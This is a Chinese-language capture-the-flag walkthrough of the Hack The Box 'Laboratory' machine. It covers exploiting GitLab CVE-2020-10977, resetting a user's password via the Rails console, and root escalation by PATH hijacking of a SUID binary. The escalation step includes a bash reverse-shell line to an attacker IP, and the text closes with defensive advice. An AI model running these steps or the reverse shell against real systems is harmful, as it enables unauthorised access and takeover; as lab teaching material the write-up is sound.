HTB: Laboratory 渗透测试
字数 1302 2025-08-14 12:04:14

Hack The Box: Laboratory 渗透测试教学文档

1. 靶机基础信息

  • 平台: Hack The Box (HTB) - 在线渗透测试平台
  • 靶机名称: Laboratory
  • 难度等级: 简单/中等
  • 操作系统: Linux (Ubuntu)
  • IP地址: 10.129.110.208
  • 官方链接: https://app.hackthebox.eu/machines/298

2. 信息收集阶段

2.1 端口扫描

使用Nmap进行端口扫描:

nmap -T4 -sV -A -O 10.129.110.208

扫描结果:

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.41
443/tcp open  ssl/http Apache httpd 2.4.41 (Ubuntu)

2.2 Web服务枚举

  • 访问80端口HTTP服务
  • 发现三个用户(未明确列出用户名)
  • 前端代码检查无有用信息
  • 发现443端口HTTPS服务
  • 访问git.laboratory.htb发现GitLab登录界面

3. 漏洞探测与利用

3.1 GitLab版本识别

  • 注册账号并登录GitLab
  • 获取GitLab版本信息(未明确列出具体版本)
  • 通过版本信息发现存在CVE-2020-10977漏洞

3.2 漏洞利用

使用公开的漏洞利用代码:

或使用Metasploit模块:

exploit/multi/http/gitlab_file_read_rce

成功利用后获取初始shell。

4. 权限提升

4.1 获取用户权限

  1. 由于初始shell权限较低,需要提升权限
  2. 通过GitLab Rails控制台修改高权限用户(Dexter)密码:
gitlab-rails console
user = User.all  # 查询所有用户
user = User.find(1)  # 通过ID查询用户
user.password = 'new_password'
user.password_confirmation = 'new_password'
user.save
user.state = 'active'
user.save
  1. 使用修改后的凭据登录:

    • 用户名: dexter
    • 密码: 00000000 (示例密码)
  2. 在Dexter的项目中获取SSH私钥(id_rsa)

  3. 将私钥复制到本地并设置权限:

chmod 600 id_rsa
  1. 使用SSH私钥登录系统
  2. 在/home目录下获取user.txt标志文件

4.2 获取root权限

  1. 使用LinEnum.sh进行本地提权检查

  2. 发现具有SUID属性的文件: docker-security

  3. 将文件传输到Kali进行分析:

    • 在Kali上监听:
    nc -l -p 1234 > docker-security
    
    • 在靶机上发送:
    nc -w 5 [Kali_IP] 1234 < docker-security
    
  4. 分析发现docker-security执行了chmod命令

  5. 通过伪造环境变量进行提权:

    • 创建恶意的chmod脚本:
    #!/bin/bash
    bash -i >& /dev/tcp/[Kali_IP]/4242 0>&1
    
    • 设置PATH环境变量优先查找当前目录:
    export PATH=.:$PATH
    
    • 执行docker-security获取root shell
  6. 获取/root目录下的root.txt标志文件

5. 参考资源

  1. Linux SUID提权原理
  2. 渗透测试基础
  3. CVE-2020-10977漏洞详情

6. 关键点总结

  1. 信息收集要全面: 不要忽略任何开放端口,特别是非常规端口
  2. 版本信息很重要: 准确识别服务版本可帮助发现可利用漏洞
  3. 权限提升路径:
    • 初始访问 → GitLab RCE
    • 横向移动 → 修改高权限用户密码
    • 权限提升 → SUID滥用+环境变量劫持
  4. 工具使用:
    • Nmap用于端口扫描
    • Metasploit用于漏洞利用
    • LinEnum.sh用于本地提权检查
    • Netcat用于文件传输

7. 防御建议

  1. 及时更新GitLab到最新版本
  2. 限制SUID二进制文件的数量
  3. 使用完整的路径执行系统命令
  4. 实施最小权限原则
  5. 监控和限制用户密码重置操作
Hack The Box: Laboratory 渗透测试教学文档 1. 靶机基础信息 平台 : Hack The Box (HTB) - 在线渗透测试平台 靶机名称 : Laboratory 难度等级 : 简单/中等 操作系统 : Linux (Ubuntu) IP地址 : 10.129.110.208 官方链接 : https://app.hackthebox.eu/machines/298 2. 信息收集阶段 2.1 端口扫描 使用Nmap进行端口扫描: 扫描结果: 2.2 Web服务枚举 访问80端口HTTP服务 发现三个用户(未明确列出用户名) 前端代码检查无有用信息 发现443端口HTTPS服务 访问 git.laboratory.htb 发现GitLab登录界面 3. 漏洞探测与利用 3.1 GitLab版本识别 注册账号并登录GitLab 获取GitLab版本信息(未明确列出具体版本) 通过版本信息发现存在CVE-2020-10977漏洞 3.2 漏洞利用 使用公开的漏洞利用代码: GitHub项目: https://github.com/thewhiteh4t/cve-2020-10977 或使用Metasploit模块: 成功利用后获取初始shell。 4. 权限提升 4.1 获取用户权限 由于初始shell权限较低,需要提升权限 通过GitLab Rails控制台修改高权限用户(Dexter)密码: 使用修改后的凭据登录: 用户名: dexter 密码: 00000000 (示例密码) 在Dexter的项目中获取SSH私钥(id_ rsa) 将私钥复制到本地并设置权限: 使用SSH私钥登录系统 在/home目录下获取user.txt标志文件 4.2 获取root权限 使用LinEnum.sh进行本地提权检查 发现具有SUID属性的文件: docker-security 将文件传输到Kali进行分析: 在Kali上监听: 在靶机上发送: 分析发现docker-security执行了chmod命令 通过伪造环境变量进行提权: 创建恶意的chmod脚本: 设置PATH环境变量优先查找当前目录: 执行docker-security获取root shell 获取/root目录下的root.txt标志文件 5. 参考资源 Linux SUID提权原理 渗透测试基础 CVE-2020-10977漏洞详情 6. 关键点总结 信息收集要全面 : 不要忽略任何开放端口,特别是非常规端口 版本信息很重要 : 准确识别服务版本可帮助发现可利用漏洞 权限提升路径 : 初始访问 → GitLab RCE 横向移动 → 修改高权限用户密码 权限提升 → SUID滥用+环境变量劫持 工具使用 : Nmap用于端口扫描 Metasploit用于漏洞利用 LinEnum.sh用于本地提权检查 Netcat用于文件传输 7. 防御建议 及时更新GitLab到最新版本 限制SUID二进制文件的数量 使用完整的路径执行系统命令 实施最小权限原则 监控和限制用户密码重置操作